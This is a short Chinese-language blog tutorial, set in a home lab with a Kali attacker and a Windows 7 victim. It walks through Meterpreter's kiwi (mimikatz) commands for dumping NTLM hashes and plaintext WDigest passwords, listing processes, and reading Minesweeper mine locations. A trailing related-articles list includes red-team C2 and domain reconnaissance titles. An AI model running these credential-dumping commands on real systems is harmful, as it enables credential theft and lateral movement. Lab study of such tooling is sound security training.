利用mimikatz插件获取内网相关信息

简介: 利用mimikatz插件获取内网相关信息

环境:小攻:Kali 2020,ip:192.168.1.133


         小受:win7 x86,ip:192.168.1.137



一、生成木马及监听主机参考上篇文章:


二、利用mimikatz获取内网相关信息


1、加载mimikatz


meterpreter > load kiwi


0a2653c851af460fa595bd959398a8f1.png


2、查看帮助信息


meterpreter > help kiwi


0eacb84100b54626af849e6b562bf92a.png


3、获取用户的hash值


meterpreter > creds_msv


2d65d23f6d4748949b924e4057485923.png


4、获取明文密码


meterpreter > creds_wdigest


2e9b90b2ca334476abebe75bafe6eeaa.png


5、查看当前主机运行的进程


meterpreter > kiwi_cmd process::list


4cebaac233b3433da32a72337a77fc60.png 6de278e6d6694ce5bb08e7e842b7e74b.png


三、获取扫雷小游戏的地雷位置


1、在小受上运行扫雷


7a399525ddec4b77923c464820b33738 (1).png


2、在小攻上运行下面命令即可获取地雷位置


meterpreter > kiwi_cmd minesweeper::infos


7a399525ddec4b77923c464820b33738.png 8ec4f2997fb246878c34ecd6d122b7c6.png


禁止非法,后果自负

目录
相关文章
|
6月前
|
存储 网络协议 Ubuntu
如何在Ubuntu安装配置SVN服务端并实现无公网ip访问内网资料库
如何在Ubuntu安装配置SVN服务端并实现无公网ip访问内网资料库
201 0
|
2月前
|
数据挖掘
Emlog程序屏蔽用户IP拉黑名单插件
Emlog程序屏蔽用户IP拉黑名单插件
40 9
Emlog程序屏蔽用户IP拉黑名单插件
|
3月前
|
网络安全
mac下通过ssh脚本实现免账号密码连接运服务器
mac下通过ssh脚本实现免账号密码连接运服务器
50 3
|
5月前
|
安全 数据可视化 JavaScript
【内网安全】域信息收集&应用网络凭据&CS插件&Adfind&BloodHound
【内网安全】域信息收集&应用网络凭据&CS插件&Adfind&BloodHound
|
5月前
|
安全 网络协议 网络安全
【红队APT】反朔源&流量加密&CS&MSF&证书指纹&C2项目&CDN域前置
【红队APT】反朔源&流量加密&CS&MSF&证书指纹&C2项目&CDN域前置
139 1
|
6月前
|
网络协议 Linux 网络安全
Linux服务器配置指南:网络、用户管理、共享服务及DNS配置详解
Linux服务器配置指南:网络、用户管理、共享服务及DNS配置详解
689 0
|
6月前
|
缓存 网络协议 数据可视化
可视化文件编辑与SSH传输神器WinSCP如何公网远程访问本地服务器
可视化文件编辑与SSH传输神器WinSCP如何公网远程访问本地服务器
|
安全 数据安全/隐私保护
利用mimikatz插件获取内网相关信息
利用mimikatz插件获取内网相关信息
90 0
利用mimikatz插件获取内网相关信息
|
网络协议
命令行工具 - 多支持多运营商的 `DNS 命令行` 客户端。
命令行工具 - 多支持多运营商的 `DNS 命令行` 客户端。
136 0
命令行工具 - 多支持多运营商的 `DNS 命令行` 客户端。
|
SQL Unix Linux
Mac免密登录服务器下载文件+Mac设置定时任务
Mac免密登录服务器下载文件+Mac设置定时任务
Mac免密登录服务器下载文件+Mac设置定时任务
下一篇
无影云桌面